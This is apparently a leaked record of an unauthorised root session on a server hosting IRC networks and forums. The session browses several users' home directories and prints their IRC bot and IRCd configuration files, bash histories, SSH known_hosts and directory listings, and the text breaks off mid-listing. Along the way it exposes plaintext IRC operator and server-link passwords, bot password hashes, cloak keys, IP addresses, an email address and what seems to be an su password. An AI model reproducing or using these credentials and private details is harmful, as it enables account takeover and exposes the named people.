"v0ltr0n" set admin "Altaaf <email: navprod@yahoo.com>" set network "60z.org" set timezone "EST" set offset "5" set my-hostname "g00ns.net" set my-ip "72.20.26.209" set max-logs 5 set max-logsize 0 set quick-logs 0 set raw-log 0 logfile mco * "logs/eggdrop.log" logfile jpk #lamest "logs/lamest.log" set log-time 1 set keep-all-logs 0 set logfile-suffix ".%d%b%Y" set switch-logfiles-at 300 set quiet-save 1 set console "mkcobxs" set userfile "v0ltr0n.user" set sort-users 0 set help-path "help/" set text-path "text/" set temp-path "/tmp" set motd "text/motd" set telnet-banner "text/banner" set userfile-perm 0600 set botnet-nick "V0LTR0N" listen 11800 bots listen 11801 users set remote-boots 2 set share-unlinks 1 set protect-telnet 0 set dcc-sanitycheck 0 set ident-timeout 5 set require-p 0 set open-telnets 0 set stealth-telnets 0 set use-telnet-banner 0 set connect-timeout 15 set dcc-flood-thr 3 set telnet-flood 5:60 set paranoid-telnet-flood 1 set resolve-timeout 15 set reserved-portrange 11820:11830 set ignore-time 15 set hourly-updates 00 set owner "Altaaf" set notify-newusers "$owner" set default-flags "hp" set whois-fields "url birthday" set die-on-sighup 0 set die-on-sigterm 1 unbind dcc n tcl *dcc:tcl unbind dcc n set *dcc:set set must-be-owner 1 unbind dcc n simul *dcc:simul set max-dcc 50 set allow-dk-cmds 1 set dupwait-timeout 5 set mod-path "modules/" loadmodule dns loadmodule channels set chanfile "v0ltr0n.chan" set force-expire 0 set share-greet 0 set use-info 1 set global-flood-chan 10:60 set global-flood-deop 3:10 set global-flood-kick 3:10 set global-flood-join 5:60 set global-flood-ctcp 3:60 set global-flood-nick 5:60 set global-aop-delay 5:30 set global-idle-kick 0 set global-chanmode "nt" set global-stopnethack-mode 0 set global-revenge-mode 0 set global-ban-time 120 set global-exempt-time 60 set global-invite-time 60 set global-chanset { -autoop +autovoice -bitch +cycle +dontkickops +dynamicbans +dynamicexempts +dynamicinvites -enforcebans +greet -inactive -nodesynch -protectfriends +protectops -revenge -revengebot -secret -seen +shared +statuslog +userbans +userexempts +userinvites -protecthalfops -autohalfop } loadmodule server set net-type 5 set nick "v0ltr0n" set altnick "v0ltr0n?" set realname "v0ltr0n" bind evnt - init-server evnt:init_server proc evnt:init_server {type} { global botnick putquick "MODE $botnick +i-wsx" } set default-port 6667 set servers { p.60z.org:6667 } set keep-nick 1 set strict-host 0 set quiet-reject 1 set lowercase-ctcp 0 set answer-ctcp 3 set flood-msg 5:60 set flood-ctcp 3:60 set never-give-up 1 set server-cycle-wait 60 set server-timeout 60 set servlimit 0 set check-stoned 1 set serverror-quit 1 set max-queue-msg 300 set trigger-on-ignore 0 set exclusive-binds 0 set double-mode 1 set double-server 1 set double-help 1 set optimize-kicks 1 set stack-limit 4 loadmodule ctcp set ctcp-mode 0 loadmodule irc set bounce-bans 1 set bounce-exempts 0 set bounce-invites 0 set bounce-modes 0 set max-bans 100 set max-exempts 20 set max-invites 20 set max-modes 100 set kick-fun 0 set ban-fun 0 set learn-users 0 set wait-split 600 set wait-info 180 set mode-buf-length 200 unbind msg - ident *msg:ident unbind msg - addhost *msg:addhost set opchars "@" set no-chanrec-info 0 set prevent-mixing 1 loadmodule transfer set max-dloads 3 set dcc-block 0 set copy-to-tmp 1 set xfer-timeout 30 loadmodule share loadmodule compress set share-compressed 1 loadmodule filesys set files-path "/home/protect/eggdrop/filesys" set incoming-path "/home/protect/eggdrop/filesys/incoming" set upload-to-pwd 0 set filedb-path "" set max-file-users 20 set max-filesize 1024 loadmodule notes set notefile "v0ltr0n.notes" set max-notes 50 set note-life 60 set allow-fwd 0 set notify-users 1 set notify-onjoin 1 loadmodule console set console-autosave 1 set force-channel 0 set info-party 0 loadmodule seen loadmodule blowfish loadmodule uptime source scripts/alltools.tcl source scripts/action.fix.tcl source netbots/netbots.tcl source scripts/http.tcl source scripts/fsck.tcl source scripts/news.tcl source scripts/google.tcl source scripts/pcheck.tcl source scripts/dns.tcl source scripts/movies.tcl source scripts/userinfo.tcl loadhelp userinfo.help [root@demon2 egg]# cat eggdrop/v0ltr0n.user #4v: eggdrop v1.6.18 -- V0LTR0N -- written Mon Apr 21 14:00:00 2008 boneless - bfloN --BOTADDR ts.g00ns.net:11800/11801 --BOTFL ghp --HOSTS *!boneless@ts.g00ns.net --LASTON 1198721898 #g00ns --XTRA created 1187476753 --PASS 8bky9t3q4ey6t sentry - bfloN --HOSTS *!sentry@72.20.26.211 --LASTON 1198721877 unlinked --XTRA created 1187476804 --BOTADDR 72.20.26.211:11800/11801 --PASS f2w7bi713nyoxl keebler - bfloN --HOSTS *!keebler@72.20.26.212 --LASTON 1198721898 unlinked --XTRA created 1187476804 --BOTADDR 72.20.26.212:11800/11801 --PASS i347t6epn2 v0ltr0n - bfloN --HOSTS *!v0ltr0n@72.20.26.209 --LASTON 1208758936 #priv --XTRA created 1187476804 --BOTADDR 72.20.26.209:11800/11801 --PASS gcc8k5hi44w1 Altaaf - hjlmnoptx --HOSTS *!blackirc@blackirc.info --HOSTS -telnet!*@* --LASTON 1190453133 @boneless --PASS +GviW90Qn.aQ0 --XTRA created 1187300220 c0ma - hjlmnoptx --HOSTS *!*@n00b-pwner.com --LASTON 1187920073 @boneless --PASS +3EuN1.om33a. --XTRA created 1187570739 ::#BlackIRC bans ::#priv bans *exempt - - % *!*@g00ns.net:+0:+1187835633:1190601012:c0ma:requested &&#BlackIRC exempts &&#priv exempts $$#BlackIRC invites $$#priv invites [root@demon2 egg]# ls -al eggdrop/v0ltr0n.notes -rw------- 1 egg egg 0 Apr 21 14:00 eggdrop/v0ltr0n.notes [root@demon2 egg]# cd eggdrop/logs/ [root@demon2 logs]# ls -al total 84 drwxrwxr-x 2 egg egg 4096 Apr 21 03:05 . drwx------ 11 egg egg 4096 Apr 21 14:00 .. -rw-r--r-- 1 egg egg 411 Aug 13 2007 CONTENTS -rw-rw-r-- 1 egg egg 68581 Apr 21 14:15 eggdrop.log [root@demon2 logs]# head eggdrop.log [03:05] @#BlackIRC (+stn) : [m/1 o/1 h/0 v/0 n/0 b/0 e/0 I/0] [03:05] @#priv (+tn) : [m/1 o/1 h/0 v/0 n/0 b/0 e/0 I/0] [03:05] #HighTechHost (+trna) : [m/4 o/3 h/0 v/0 n/1 b/0 e/0 I/0] [03:05] #g00ns (+trna) : [m/52 o/8 h/3 v/6 n/35 b/12 e/0 I/0] [03:05] #HighTechHost (+tn) : [m/26 o/24 h/0 v/0 n/2 b/0 e/0 I/0] [03:05] @#/bin/laden (+tn) : [m/2 o/2 h/0 v/0 n/0 b/0 e/0 I/0] [03:05] #HighTechHost (+tn) : [m/26 o/24 h/0 v/0 n/2 b/0 e/0 I/0] [03:05] @#/bin/laden (+tn) : [m/2 o/2 h/0 v/0 n/0 b/0 e/0 I/0] [03:10] #HighTechHost (+trna) : [m/4 o/3 h/0 v/0 n/1 b/0 e/0 I/0] [03:10] #g00ns (+trna) : [m/52 o/8 h/3 v/6 n/35 b/12 e/0 I/0] [root@demon2 logs]# tail eggdrop.log [14:10] #HighTechHost (+tn) : [m/26 o/23 h/0 v/0 n/3 b/0 e/0 I/0] [14:10] @#/bin/laden (+tn) : [m/2 o/2 h/0 v/0 n/0 b/0 e/0 I/0] [14:15] #HighTechHost (+tn) : [m/26 o/23 h/0 v/0 n/3 b/0 e/0 I/0] [14:15] @#/bin/laden (+tn) : [m/2 o/2 h/0 v/0 n/0 b/0 e/0 I/0] [14:15] @#BlackIRC (+stn) : [m/1 o/1 h/0 v/0 n/0 b/0 e/0 I/0] [14:15] @#priv (+tn) : [m/2 o/1 h/0 v/0 n/1 b/0 e/0 I/0] [14:15] #HighTechHost (+tn) : [m/26 o/23 h/0 v/0 n/3 b/0 e/0 I/0] [14:15] @#/bin/laden (+tn) : [m/2 o/2 h/0 v/0 n/0 b/0 e/0 I/0] [14:15] #HighTechHost (+trna) : [m/4 o/3 h/0 v/0 n/1 b/0 e/0 I/0] [14:15] #g00ns (+trna) : [m/57 o/10 h/3 v/10 n/34 b/12 e/0 I/0] [root@demon2 logs]# cd .. [root@demon2 eggdrop]# cd /home [root@demon2 home]# cd evilcode [root@demon2 evilcode]# ls -al total 148 drwxr-xr-x 9 evilcode evilcode 4096 Mar 25 13:40 . drwx--x--x 50 root root 4096 Mar 27 16:19 .. drwx------ 2 evilcode evilcode 4096 Aug 1 2007 backups -rw------- 1 evilcode evilcode 6456 Apr 19 11:25 .bash_history -rw-r--r-- 1 evilcode evilcode 304 Apr 29 2006 .bash_logout -rw-r--r-- 1 evilcode evilcode 191 Apr 29 2006 .bash_profile -rw-r--r-- 1 evilcode evilcode 124 Apr 29 2006 .bashrc drwx--x--x 3 evilcode evilcode 4096 Apr 29 2006 domains -rw-r--r-- 1 evilcode evilcode 383 Apr 29 2006 .emacs drwxrwx--- 3 evilcode evilcode 4096 Aug 1 2007 imap drwxrwxr-x 2 evilcode evilcode 4096 Aug 8 2007 index0r_img -rw-rw-r-- 1 evilcode evilcode 22825 Feb 24 2007 index.php -rw-rw-r-- 1 evilcode evilcode 51019 Feb 24 2007 i.zip drwx------ 2 evilcode evilcode 4096 Aug 1 2007 mail drwxrwxr-x 3 evilcode evilcode 4096 Mar 25 13:44 newircd lrwxrwxrwx 1 evilcode evilcode 36 Aug 1 2007 public_html -> ./domains/evilcoders.net/public_html -rw-r----- 1 evilcode mail 34 Aug 7 2007 .shadow drwx------ 13 evilcode evilcode 4096 Mar 25 13:44 Unreal3.2 [root@demon2 evilcode]# cd ../excodeirc [root@demon2 excodeirc]# ls -al total 65128 drwx--x--x 25 excodeirc excodeirc 4096 Apr 14 22:26 . drwx--x--x 50 root root 4096 Mar 27 16:19 .. drwxrwxr-x 7 excodeirc excodeirc 4096 May 27 2006 anope-1.6.4 -rw-rw-r-- 1 excodeirc excodeirc 3840000 Sep 8 2005 anope-1.6.4.tar drwxr-xr-x 7 excodeirc excodeirc 4096 Jun 19 2007 anope-1.7.19 -rw-rw-r-- 1 excodeirc excodeirc 1505639 Jun 10 2007 anope-1.7.19.tar.gz drwxrwxr-x 2 excodeirc excodeirc 4096 Feb 10 12:47 back drwx------ 2 excodeirc excodeirc 4096 Aug 1 2007 backups -rw------- 1 excodeirc excodeirc 11324 Apr 14 23:11 .bash_history -rw-r--r-- 1 excodeirc excodeirc 304 Apr 28 2006 .bash_logout -rw-r--r-- 1 excodeirc excodeirc 191 Apr 28 2006 .bash_profile -rw-r--r-- 1 excodeirc excodeirc 124 Apr 28 2006 .bashrc drwxr-xr-x 4 excodeirc excodeirc 4096 Mar 25 19:58 defender drwx--x--x 5 excodeirc excodeirc 4096 Mar 17 18:08 domains drwxrwxr-x 10 excodeirc excodeirc 4096 Mar 22 20:57 eggdrop drwx------ 2 excodeirc excodeirc 4096 Jun 25 2007 .elinks -rw-r--r-- 1 excodeirc excodeirc 383 Apr 28 2006 .emacs drwxr-xr-x 3 root root 4096 Mar 22 20:56 hightechhost drwxrwx--- 5 excodeirc mail 4096 Mar 17 18:08 imap -rw-rw-r-- 1 excodeirc excodeirc 13375456 Jun 17 2007 ircbackup.tar.gz drwxrw-r-- 2 excodeirc excodeirc 4096 Jul 15 2007 .linuxcounter -rwxr-xr-x 1 excodeirc excodeirc 36620 Jan 21 2007 machine-update drwx------ 2 excodeirc excodeirc 4096 Mar 17 18:08 mail drwxrwxr-x 9 excodeirc excodeirc 4096 Jan 15 20:23 NeoStats3.0 -rw-rw-r-- 1 excodeirc excodeirc 32491520 Sep 2 2006 neostatsbackup.tar drwxrwxr-x 5 excodeirc excodeirc 4096 Apr 30 2006 OPSB-3.0.a3 -rw-rw-r-- 1 excodeirc excodeirc 1464320 Dec 13 2005 OPSB-3.0.a3.tar lrwxrwxrwx 1 excodeirc excodeirc 43 Aug 1 2007 public_html -> ./domains/irc.exploitercode.com/public_html drwxr-xr-x 4 excodeirc g00ns83 4096 Nov 30 14:27 randword-3.2 drwxrwxr-x 5 excodeirc excodeirc 4096 Apr 30 2006 SecureServ-3.0.a3 -rw-rw-r-- 1 excodeirc excodeirc 1904640 Dec 13 2005 SecureServ-3.0.a3.tar drwxrwxr-x 6 excodeirc excodeirc 4096 Dec 2 17:27 services drwxrwxr-x 7 excodeirc excodeirc 4096 Jun 19 2007 servicesnew -rw-r----- 1 excodeirc mail 34 Sep 17 2007 .shadow drwx------ 2 excodeirc excodeirc 4096 Dec 3 2006 .ssh drwxrwxrwx 13 excodeirc excodeirc 4096 Apr 30 2006 trunk -rw-rw-r-- 1 excodeirc excodeirc 9197056 Apr 30 2006 trunk.tar drwx------ 13 excodeirc excodeirc 4096 Apr 14 22:26 Unreal3.2 -rw-rw-r-- 1 excodeirc excodeirc 2629222 Feb 18 2007 Unreal3.2.6.tar.gz drwx------ 13 excodeirc excodeirc 4096 Feb 10 12:43 Unrealfuck drwx------ 13 excodeirc excodeirc 4096 Jun 17 2007 unrealold [root@demon2 excodeirc]# head .bash_history exit cd ls cd Ur* cd Un* nano 0w unreal* nano -w unreal* nano -w unrealircd* ./unreal restart ps ax [root@demon2 excodeirc]# tail .bash_history ls cd services ls nano services.conf cd /home/excodeirc ls cd anope-1.7.19 ls cd /home/excodeirc su [root@demon2 excodeirc]# ls -al .ssh total 12 drwx------ 2 excodeirc excodeirc 4096 Dec 3 2006 . drwx--x--x 25 excodeirc excodeirc 4096 Apr 14 22:26 .. -rw-r--r-- 1 excodeirc excodeirc 395 Dec 3 2006 known_hosts [root@demon2 excodeirc]# cat .ssh/* 75.126.51.154 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAm215adR0bmHDNKkjOQeI/ yN0P+F95L7z5Wjcp2JSs9fy2tZjFys6QIu9Pfuy6rQdkAayiTR1xXgh7+JTIWdJOW6I8jF8 nT1tQGmf1mT9s0P8cKtIJSMit+Ld78ZO+sC7e44YUqgn01zr6P7moPLE+Q5xIrZBzu49Yuw dzqacaLso8CnbsQDiM+gWvk7jd1Ox4PPjQYTzHX5fSxC1RrNI9GsRhb//i503HVIRLvjn1n wO1QBtHnqEhyYJD4VDLWXDkBqBHr2OQCzu8ex1UwoJ3j/ZxPYcQ49sbDkWaUpo7LMdsxvoA QE7igDNKDX0a2LJm2U1q7uwrwtmjYwJcKkmXw== [root@demon2 excodeirc]# ls -al eggdrop/*.conf -rw-r--r-- 1 excodeirc excodeirc 51580 Mar 22 20:57 eggdrop/eggdrop.conf [root@demon2 excodeirc]# cd Unreal3.2 Don't mind us, we're gonna cut out some crap like default comments from the unrealircd.conf [root@demon2 Unreal3.2]# cat unrealircd.conf loadmodule "src/modules/commands.so"; loadmodule "src/modules/cloak.so"; loadmodule "src/modules/m_getinfo.so"; loadmodule "src/modules/hideserver.so"; #loadmodule "src/modules/operpasswd.so"; include "spamfilter.conf"; me { name "p.60z.org"; info "Let the good times roll"; numeric 12; }; admin { "pr0be"; "pr0be@g00ns.net"; }; class clients { pingfreq 180; maxclients 5000; sendq 1000000000; recvq 8000; }; class servers { pingfreq 290; maxclients 100; /* Max servers we can have linked at a time */ sendq 999999999; connfreq 100000; /* How many seconds between each connection attempt */ }; oper pr0be { from { userhost "*@*"; }; password "spiggers666"; class "default"; flags { netadmin; services-admin; global; helpop; can_rehash can_globalnotice; can_globalroute; can_globops; can_wallops; can_unkline; can_kline; can_globalkill; can_zline; can_gkline; can_gzline; get_umodew; get_host; can_override; can_die; can_restart; }; }; oper sCuZz { from { userhost "*@*"; }; password "!beanerl0ve!"; class "default"; flags { netadmin; services-admin; global; helpop; can_rehash can_globalnotice; can_globalroute; can_globops; can_wallops; can_unkline; can_kline; can_globalkill; can_zline; can_gkline; can_gzline; get_umodew; get_host; can_override; can_die; can_restart; }; }; oper Genocide { from { userhost "*@*"; }; password "s,7B0L=QEtaS"; class "default"; flags { netadmin; services-admin; global; helpop; can_rehash can_globalnotice; can_globalroute; can_globops; can_wallops; can_unkline; can_kline; can_globalkill; can_zline; can_gkline; can_gzline; get_umodew; get_host; can_override; can_die; can_restart; }; }; allow { ip *@*; hostname *@*; class clients; maxperip 15; }; listen 72.20.26.210:6667; listen 127.0.0.1:6667; listen 72.20.26.210:6697 { options { ssl; clientsonly; }; }; listen 72.20.26.210:16969 { options { ssl; serversonly; }; }; except tkl { mask uid0@208.98.32.*; type { gline; gzline; qline; gqline; shun; }; }; /* link partyvan.us.hub { username *; hostname 67.207.136.217 ; bind-ip *; port 10200; hub *; password-connect "oisdkgasdgweeab00"; password-receive "oisdkgasdgweeab00"; class servers; options { autoconnect; # zip; ssl; # nohostcheck; }; }; link lulz.hub { username *; hostname 209.62.62.142; bind-ip *; port 16969; hub *; password-connect "blarghh65vjh97t8c7hst8"; password-receive "blarghh65vjh97t8c7hst8"; class servers; options { autoconnect; ssl; }; }; link irc.evilcoders.net { username *; hostname 72.20.26.213; bind-ip *; port 6667; hub *; password-connect "dei8hw0u"; password-receive "dei8hw0u"; class servers; options { autoconnect; # zip; nohostcheck; }; }; */ ulines { #anonymous.services; s.60z.org; #partyvan.us.hub #defender.exploitercode.net; #irc.evilcoders.net; #stats.exploitercode.net; #uid0equalsroot.exploitercode.com; }; hideserver { disable-map yes; disable-links yes; map-deny-message "*** Command /map is disabled for security reasons"; links-deny-message "*** Command /links is disabled for security reasons"; hide { irc.exploitercode.net; irc.g00ns.net; s.60z.org; }; }; deny channel { channel "oreos"; reason "Grow up"; }; ban nick { mask "PwNd-*"; reason "bots"; }; /* Network configuration */ set { network-name "goodtimes"; default-server "irc.exploitercode.net"; services-server "s.60z.org"; # stats-server "stats.exploitercode.net"; help-channel "#Help"; hiddenhost-prefix "aintgay"; /* prefix-quit "no"; */ cloak-keys { qofdie998H99mF97f97MF9; myc886C8V7tmv87tmvcM6C; 42ZA643ZXn6745eC87r6VM; }; /* on-oper host */ hosts { local "LocOp.exploitercode.net"; global "IRCOp.exploitercode.net"; coadmin "CoAdmin.exploitercode.net"; admin "Admin.exploitercode.net"; servicesadmin "CsOps.exploitercode.net"; netadmin "NetAdmin.exploitercode.net"; host-on-oper-up "no"; }; }; /* Server specific configuration */ set { kline-address "uid0@exploitercode.net"; modes-on-connect "+x"; modes-on-oper "+xwgs"; oper-auto-join "#spk"; dns { nameserver 127.0.0.1; timeout 2s; retries 2; }; options { hide-ulines; /* You can enable ident checking here if you want */ /* identd-check; */ show-connect-info; }; maxchannelsperuser 1000000; /* The minimum time a user must be connected before being allowed to use a QUIT message, * This will hopefully help stop spam */ anti-spam-quit-message-time 10s; oper-only-stats "okfGsMRUEelLCXzdD"; /* Throttling: this example sets a limit of 3 connections per 60s (per host). */ throttle { connections 3; period 60s; }; /* Anti flood protection */ anti-flood { nick-flood 3:60; /* 3 nickchanges per 60 seconds (the default) */ }; /* Spam filter */ spamfilter { ban-time 1d; /* default duration of a *line ban set by spamfilter */ ban-reason "Spam/Advertising"; /* default reason */ virus-help-channel "#help"; /* channel to use for 'viruschan' action */ /* except "#help"; channel to exempt from filtering */ }; }; [root@demon2 Unreal3.2]# cd .. [root@demon2 excodeirc]# cd services [root@demon2 services]# ls backups dbz.zip hosts.db listnicks news.db services tables.sql bot.db example.conf languages logs nick.db services.chk chan.db exception.db listchans modules oper.db services.conf [root@demon2 services]# [root@demon2 services]# cd /home/felosi [root@demon2 felosi]# ls -al total 91140 drwx--x--x 7 felosi felosi 4096 Feb 10 12:51 . drwx--x--x 50 root root 4096 Mar 27 16:19 .. -rw-r--r-- 1 felosi felosi 72806123 Oct 5 2007 backup-10.5.2007_21-30-03_hywdinfo.tar.gz -rw------- 1 felosi felosi 403 Dec 28 11:46 .bash_history -rw-r--r-- 1 felosi felosi 24 Aug 3 2007 .bash_logout -rw-r--r-- 1 felosi felosi 176 Aug 3 2007 .bash_profile -rw-r--r-- 1 felosi felosi 124 Aug 3 2007 .bashrc -rw-rw-r-- 1 felosi felosi 6136 Aug 29 2007 da.cpanel.import.9beta2.tar.gz -rwxrwxrwx 1 felosi felosi 20561 Aug 29 2007 da.cpanel.import.pl -rwxrwxrwx 1 felosi felosi 280 Oct 5 2007 defaults.conf drwx--x--x 5 felosi felosi 4096 Aug 3 2007 domains -rw-r----- 1 felosi felosi 20324841 Nov 12 16:31 earn.tar.gz drwxrwxr-x 2 felosi felosi 4096 Oct 5 2007 export drwxrwxr-x 2 felosi felosi 4096 Oct 5 2007 import -rw-r----- 1 felosi mail 34 Aug 3 2007 .shadow drwx--x--x 2 felosi felosi 4096 Dec 28 11:35 user_backups drwxr-xr-x 3 felosi felosi 4096 Dec 13 22:41 webmail [root@demon2 felosi]# cat .bash_history cd ls wget http://kade.nu/da/da.cpanel.import.9beta2.tar.gz tar zxvf da.cpanel.import.9beta2.tar.gz chmod 777 da.cpanel.import.pl defaults.conf mkdir import export nano -w defaults.conf ls ls ls ls import ls user* ls cp backup-10.5.2007_21-30-03_hywdinfo.tar.gz import per *.pl perl *.pl cd export ls cp hywdinfo.tar.gz ../user_backups ls cd ../user_backups ls exit cd cd user_* ls ls ftp sph1.net exit [root@demon2 felosi]# cd ../felosii [root@demon2 felosii]# ls -al total 48 drwx--x--x 6 felosii felosii 4096 Aug 1 2007 . drwx--x--x 50 root root 4096 Mar 27 16:19 .. drwx------ 2 felosii felosii 4096 Aug 1 2007 backups -rw-r--r-- 1 felosii felosii 24 Jun 30 2007 .bash_logout -rw-r--r-- 1 felosii felosii 191 Jun 30 2007 .bash_profile -rw-r--r-- 1 felosii felosii 124 Jun 30 2007 .bashrc drwx--x--x 3 felosii felosii 4096 Jun 30 2007 domains -rw-r--r-- 1 felosii felosii 383 Jun 30 2007 .emacs drwxrwx--- 3 felosii felosii 4096 Aug 1 2007 imap drwx------ 2 felosii felosii 4096 Aug 1 2007 mail lrwxrwxrwx 1 felosii felosii 36 Aug 1 2007 public_html -> ./domains/felosi-inc.net/public_html -rw-r----- 1 felosii mail 34 Jun 30 2007 .shadow [root@demon2 felosii]# cd ../g00ns83 [root@demon2 g00ns83]# ls -al total 64 drwx--x--x 9 g00ns83 g00ns83 4096 Apr 18 21:47 . drwx--x--x 50 root root 4096 Mar 27 16:19 .. drwxrwxr-x 4 g00ns83 g00ns83 4096 Apr 18 21:52 backup drwx------ 2 g00ns83 g00ns83 4096 Aug 2 2007 backups -rw------- 1 g00ns83 g00ns83 2218 Dec 30 11:59 .bash_history -rw-r--r-- 1 g00ns83 g00ns83 24 Aug 2 2007 .bash_logout -rw-r--r-- 1 g00ns83 g00ns83 176 Aug 2 2007 .bash_profile -rw-r--r-- 1 g00ns83 g00ns83 124 Aug 2 2007 .bashrc -rw------- 1 g00ns83 g00ns83 232 Apr 18 21:47 .clipboard.txt drwxr-xr-x 3 g00ns83 g00ns83 4096 Aug 2 2007 domains drwxrwx--- 3 g00ns83 g00ns83 4096 Aug 2 2007 imap drwx------ 2 g00ns83 g00ns83 4096 Aug 2 2007 mail drwxrwx--- 15 g00ns83 g00ns83 4096 Aug 2 2007 Maildir lrwxrwxrwx 1 g00ns83 g00ns83 37 Aug 2 2007 public_html -> ./domains/g00ns-forum.net/public_html -rw-r----- 1 g00ns83 mail 34 Mar 7 19:56 .shadow drwxr-xr-x 3 g00ns83 g00ns83 4096 Jan 29 11:45 webmail [root@demon2 g00ns83]# cat .bash_history cd cd public_html ls mv index.html indexold nano -w includes/config.php exit id mc exit ls find c99 cd public_html ls ls admin1cp/ ls ls arc ls archive ls clientscript ls donations ls customavatars/ ls wls ls nex mkdir /home/g00ns83/backup mv nex/Seminar2.rar /home/g00ns83/backup ls ls nex rm -rf nex ls ls spic mv omg.html /home/g00ns83/backup ls nano in.php nano indexold mv indexold /home/g00ns83/backup ls ls hax rm -rf hax ls nano calendar.php mv sawnmapscan /home/g00ns83/backup ls nano sn00gnews.php nano vboutput1.php ls signaturepics/ ls signaturepics/signaturepics/ nano report.php nano online.php nano technews.php nano sendmail ls images1 mv index.html indx.html ls mv oldlayout /home/g00ns83/backup ls nano license nano image.php ls wls ls uploads ls tutorials/ nano downloads.php ls nano in.php nano login.php ls includes cd includes ls nano index.html ls nano config.php.new nano config.php.new.bak nano functions_bigthree.php nano modfunctions.php nano functions.php cd /home/g00ns83/public_html ls ls nano mysql nano secnews.php nano site_members.php mv site_members.php /home/g00ns83/backup ls ls z3r0 ls ls fusion ls /home/g00ns83/backup ls images1 mv images1 /home/g00ns83/backup ls ls botnets mv sn00gnews.php /home/g00ns83/backup ls nano secnews.php nano vboutput1.php cd / ls cd home ls cd /home/g00ns83 ls w /var/spool/mail/g00ns83 whoami uname -a ; id who users nano index.ph nano index.php ls cd public_html/ ls nano index.php nano index.php ls nano fusion cd fusion ls cd $home ls cd public_html/ echo $home ls ls wls nano wls/index.html rm wls/index.html ls chmod 0644 wls ls chmod 777 wls ls mv wls /home/g00ns83/backup ls nano online.php nano faq.php rm favicon.ico ls ls ls lsls ls mv mysql /home/g00ns83/backup user users ls ls ls uptime users cd cd public_html/includes nano -w config.php top exit cd cd public_html mkdir sec cd sec wget http://phpsec.org/projects/phpsecinfo/phpsecinfo.zip unaip *.zip unzip *.zip mv phpsecinfo-20070406 php rm -rf php exit cd cd public_html/includes nano -w config.php chown root:root config.php pwd exit cd cd public_html cd includes nano config.php nano config.php nano config.php exit cd exit wget http://13337.org/sem.zip su sn00g3s [root@demon2 g00ns83]# ls -al public_html/ total 1980 drwx--x--x 33 g00ns83 g00ns83 4096 Apr 18 21:47 . drwxr-xr-x 8 g00ns83 g00ns83 4096 Apr 18 21:38 .. -rw-r--r-- 1 g00ns83 g00ns83 9058 Apr 18 21:46 404.shtml drwxr-xr-x 4 g00ns83 g00ns83 4096 Aug 2 2007 admin1cp -rw-r--r-- 1 g00ns83 g00ns83 15770 Jun 19 2007 ajax.php -rw-rw-r-- 1 g00ns83 g00ns83 16362 Jun 19 2007 announcement.php drwxr-xr-x 6 g00ns83 g00ns83 4096 Oct 28 09:25 anymedia -rw-r--r-- 1 g00ns83 g00ns83 81511 Apr 16 21:48 arcade.php drwxrwxr-x 2 g00ns83 g00ns83 4096 Aug 2 2007 archive -rw-rw-r-- 1 g00ns83 g00ns83 453 May 11 2005 arrow.jpg -rw-rw-r-- 1 g00ns83 g00ns83 15360 Jun 19 2007 attachment.php drwxr-xr-x 2 g00ns83 g00ns83 4096 Aug 22 2007 ava drwxr-xr-x 3 g00ns83 g00ns83 4096 Aug 2 2007 botnets -rw-rw-r-- 1 g00ns83 g00ns83 74718 Jun 19 2007 calendar.php drwxr-xr-x 2 g00ns83 g00ns83 4096 Aug 2 2007 cgi-bin -rw-rw-r-- 1 g00ns83 g00ns83 43 Jun 19 2007 clear.gif drwxrwxr-x 5 g00ns83 g00ns83 4096 Oct 28 09:26 clientscript drwxrwxr-x 8 g00ns83 g00ns83 4096 Aug 2 2007 cpstyles -rw-rw-r-- 1 g00ns83 g00ns83 3266 Jun 19 2007 cron.php drwxrwxr-x 3 g00ns83 g00ns83 4096 Aug 2 2007 customavatars drwxr-xr-x 3 g00ns83 g00ns83 4096 Aug 2 2007 customprofilepics drwxr-xr-x 2 g00ns83 g00ns83 4096 Aug 2 2007 donations drwxrwxr-x 5 g00ns83 g00ns83 73728 Feb 17 16:23 downloads -rwxrwxr-x 1 g00ns83 g00ns83 70283 Aug 11 2006 downloads.php -rw-rw-r-- 1 g00ns83 g00ns83 44375 Jun 19 2007 editpost.php -rw-rw-r-- 1 g00ns83 g00ns83 28539 Jun 19 2007 external.php -rw-rw-r-- 1 g00ns83 g00ns83 9213 Jun 19 2007 faq.php -rw-r--r-- 1 g00ns83 g00ns83 1150 Aug 2 2007 favicon.ico -rw-r--r-- 1 g00ns83 g00ns83 1150 Sep 29 2006 favicon.ico.1 -rw-r--r-- 1 g00ns83 g00ns83 33531 Apr 1 2006 fbi.gif -rw-rw-r-- 1 g00ns83 g00ns83 33023 Jun 19 2007 forumdisplay.php -rw------- 1 g00ns83 g00ns83 16 Feb 16 2007 .ftpquota drwxr-xr-x 15 g00ns83 g00ns83 4096 Aug 2 2007 fusion drwxr-xr-x 2 g00ns83 g00ns83 4096 Aug 2 2007 games -rw-rw-r-- 1 g00ns83 g00ns83 28532 Jun 19 2007 global.php -rw-r--r-- 1 g00ns83 g00ns83 4106 Apr 15 23:41 header.png -rw-rw-r-- 1 g00ns83 g00ns83 314 Dec 8 12:49 .htaccess -rw-rw-r-- 1 g00ns83 g00ns83 31 May 13 2005 .htaccessy -rw-rw-r-- 1 g00ns83 g00ns83 908 May 11 2005 i.jpg drwxr-xr-x 2 g00ns83 root 4096 Dec 16 16:13 image -rw-rw-r-- 1 g00ns83 g00ns83 7006 Jun 19 2007 image.php drwxr-xr-x 19 g00ns83 g00ns83 4096 Apr 16 20:18 images drwxrwxr-x 7 g00ns83 g00ns83 4096 Apr 11 17:00 includes -rw-rw-r-- 1 g00ns83 g00ns83 17826 Dec 16 12:16 index.php -rw-r--r-- 1 g00ns83 g00ns83 43378 Jun 19 2007 infraction.php -rw-r--r-- 1 g00ns83 g00ns83 136603 Jun 19 2007 inlinemod.php -rw-r--r-- 1 g00ns83 g00ns83 18 Jun 13 2007 in.php -rw-rw-r-- 1 g00ns83 g00ns83 10290 Jun 19 2007 joinrequests.php drwxr-xr-x 2 g00ns83 g00ns83 4096 Apr 15 22:46 katalyst -rw-r--r-- 1 g00ns83 g00ns83 8222 Jun 19 2007 LICENSER -rw-rw-r-- 1 g00ns83 g00ns83 9726 Feb 7 19:36 login.php drwxr-xr-x 3 g00ns83 g00ns83 4096 Aug 2 2007 lolppp -rw-rw-r-- 1 g00ns83 g00ns83 34113 Jun 19 2007 memberlist.php -rw-rw-r-- 1 g00ns83 g00ns83 29733 Jun 19 2007 member.php -rw-rw-r-- 1 g00ns83 g00ns83 23300 Jun 19 2007 misc.php drwxr-xr-x 3 g00ns83 g00ns83 4096 Aug 2 2007 